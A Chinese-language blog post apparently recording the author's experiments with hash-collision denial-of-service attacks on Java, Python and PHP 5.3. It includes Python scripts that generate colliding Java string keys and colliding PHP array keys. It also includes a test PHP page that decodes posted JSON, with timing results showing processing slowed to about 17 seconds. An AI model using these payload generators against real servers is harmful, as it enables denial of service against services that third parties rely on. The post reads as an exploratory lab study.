java、python与留下迷点的php hash collision

JAVA

生成java的碰撞数据比较简单

根据网上资料可知：

at,bU,c6的在java中的hash值是相同的

则可以根据这三个不断做 笛卡尔积

简单明了就是做字符串拼接。

举个例子

把A当做at,bU,c6中的数

拼接成 AAAAAAAA（8个A），即可得到3^8个hash值相同的元素

写成python代码为

import json
arr_src = ['at','bU','c6']
arr_rtn = {}
def combs(n,str):
    if n == 1:
        for j in arr_src:
            arr_rtn[str+j]=0
    else:
        for j in arr_src:
            combs(n-1,str+j)
combs(11,"") #11为深度，也是3的11次方，可修改
data=json.dumps(arr_rtn)
print data  #data即为得出的json格式字符串，可存入文件
print len(arr_rtn)  #len为元素个数

python：

尝试

生成Python内置函数 hash()的一组 hash值相同的元素，使用  a~z A~Z 0~9 这62个字符做src

第一层 62个元素  hash各不相同

第二层 62^2  失败

第三层 62^3  失败

第四层 62^4  失败

最无语的是做到第五次的时候

对62^5个元素进行hash计算，再求其中hash相同的元素，然而62的5次方达到近十亿的个数，内存爆了，电脑死机。

反复三次，放弃了

 

错误代码，粗糙至极，简陋无比，亮瞎勿怪

from collections import Counter
def main(indeep):
    ifGetHashCollision=0
    deep=indeep
    print deep
    dic={}
    base="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
    hashs=[]

    def create(n,str):
        if n==1:
            for i in base:
                #str += i
                dic[str+i]=0
        else:
            for i in base:
                create(n-1,str+i)

    create(deep,"")

    for i in dic:
        hashs.append(hash(i))


    print len(dic)
    test=Counter(hashs)
    for i in test:
        if test[i] != 1:
            print i
            ifGetHashCollision=1

main(5)  #该参数为62的次方

python字符串hash随机化：

python字符串每一次hash计算的结果都不同，在12年hash collision出来的时候，即对Python版本做了修复， 2.6.8, 2.7.3, 3.1.5 

进行了python 字符串hash随机化，带着种子去hash。

所以即使一次得到了碰撞的元素，下一次也不能用。

原来做了两三个小时的无用功。

所以Python的暂时跳过

 

php

php的 hash collision是最神奇的，从晚上十点多看到现在还没有参透。

长话短说，先看一下网上的资料再看后面的问题：

http://blog.it2048.cn/article-php-hash/

——————半小时过去了——————

假装你已经看完了

 

根据推算，元素个数为 2^16即 65536个的时候，以 65536为基数，*2 、*3、*4、*.....、*65536所得到的hash碰撞效果最强，65536个元素全部碰撞，服务器处理的时间最长。

在服务器端搭建了一个测试页面

代码如下：

<?php

$rest = file_get_contents("php://input");
$startTime = microtime(true);
$a=json_decode($rest,true);
#var_dump($a);
$endTime = microtime(true);
echo $endTime - $startTime, ' seconds', "\n";
?>

2^16为基数，size（以下为方便，将2^16 = 65536 写为size）为元素个数的数据以json的格式传入

json_decode的计算时间为3.5秒左右【在这里，值得一提的是，burpsuite的计算时间与页面得出的json_decode处理时间基本相同，感叹burpsuite的精准，我用python没有写出来精准计算服务器处理时间的脚本】

然而！

2^15为基数，即 32768为基数，size为元素个数的数据传入时

服务器处理时间达到了17秒

这就是百思不得其解的地方了，12点的时候试了一下，发现了这神奇的一点。

按理解，因为原本在一个链表中碰撞的元素，变成了在两个链表中碰撞，遍历的长度减少，所以服务器处理时间也应该缩减，但是却变成了4倍。

以下是其他的测试表单

基数 　　元素个数 　　  处理时间（秒）
2^16 　　2size 　　　　3.66
2^16 　　size 　　　　  3.71

2^16 　　size-1 　　　   3.53
2^15 　　 size 　　　　 17.24
2^15 　　 2size 　　 　  17.31
2^15 　　 0.5size 　　    3.60
2^14 　　 size 　　 　　 14.07/14.23
2^13 　　 size 　　 　　 9.28
2^12 　　 size 　　 　　 5.94
2^12 　　 0.5size 　　    1.33

 

PHP 数据产生python版本

#!/usr/bin/python
import time
import json
size=pow(2,16)  #基数数值
start=time.time()
end=time.time()
array="{"
count=0
for i in range(0,size*size,size):  #根据基数调整end符合元素格式
    array += "\""+str(i)+"\":0,"
    count += 1
print count  #在这里显示元素个数，及时调整
array=array[:(len(array)-1)]
array += "}"
#data=json.dumps(array)
#print data
f=open("phpjsonByPython_16_size-1.txt","w")
f.write(array)
f.close()

 

 

根据响应时间对应可知，32768为基数，在元素个数为size（65536）范围内是hash碰撞效果最大的。

但是这不太符合网上给出的php hash算法，或者是我还没明白。

推算了两个小时，还没有想出个为什么。

我的php版本为5.3，下次有时间加上php调试器，再看看php底层hash的代码；或者看看网上给出的，或许一人理解错了导致后面的人都理解错了？或者就是我哪里错了。

PHP 未完待续